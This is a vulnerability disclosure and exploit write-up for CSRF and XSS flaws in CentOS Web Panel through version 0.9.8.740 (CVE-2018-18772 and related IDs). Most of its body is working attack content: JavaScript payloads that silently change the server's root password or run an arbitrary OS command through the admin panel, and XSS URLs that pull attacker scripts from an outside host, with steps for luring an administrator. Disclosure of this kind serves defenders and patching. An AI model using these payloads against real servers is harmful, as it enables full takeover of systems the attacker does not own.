Headline
CVE-2018-18772: CentOS Web Panel 0.9.8.740 Root Account Takeover
CentOS-WebPanel.com (aka CWP) CentOS Web Panel through 0.9.8.740 allows CSRF via admin/index.php?module=send_ssh, as demonstrated by executing an arbitrary OS command.
[+] Title: CentOS Web Panel Root Account Takeover + Remote Command Execution <= v0.9.8.740[+] Author: Numan OZDEMIR (https://infinitumit.com.tr)[+] Vendor Homepage: centos-webpanel.com[+] Software Link: http://centos-webpanel.com/cwp-latest[+] Version: Up to v0.9.8.740.[+] CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.[+] Detailed: https://numanozdemir.com/respdisc/cwp.pdf[+] Discovered by Numan OZDEMIR in InfinitumIT Labs[~] Description:Attacker can change target server's root password and execute command, by CSRF vulnerability.Also, there is a XSS vulnerability, hacker can exploit the CSRF vulnerability by this XSSvulnerability and run bad-purposed JavaScript codes on administrator's browser.So, CSRF/XSS to full server takeover.[~] How to Reproduce:Hacker can exploit this vulnerability (changing root password) by XSS or CSRF.Hacker will create a website and put those codes into source:<script>var url = "http://targetserver:2030/admin/index.php?module=rootpwd";var params = "ifpost=yes&password1=newpassword&password2=newpassword";var vuln = new XMLHttpRequest();vuln.open("POST", url, true);vuln.withCredentials = 'true';vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");vuln.send(params);</script>(Update newpassword as the password that you want to change.)If hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>After exploiting, you can connect to server by Putty or access the CWP panel with the passwordthat you have specified from 2030 port.The second vulnerability is remote command execution.Hacker can exploit this vulnerability (remote command execution) by XSS or CSRF too.Again, hacker will create a website and put those codes into source:<script>var url = "http://targetserver:2030/admin/index.php?module=send_ssh";var params = "ssh+command=whoami";var vuln = new XMLHttpRequest();vuln.open("POST", url, true);vuln.withCredentials = 'true';vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");vuln.send(params);</script>(Update whoami as command that you want to run.)Same logic like top, if hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>// shouldnt think that CSRF/XSS are unimportant vulnerabilities.// for secure days...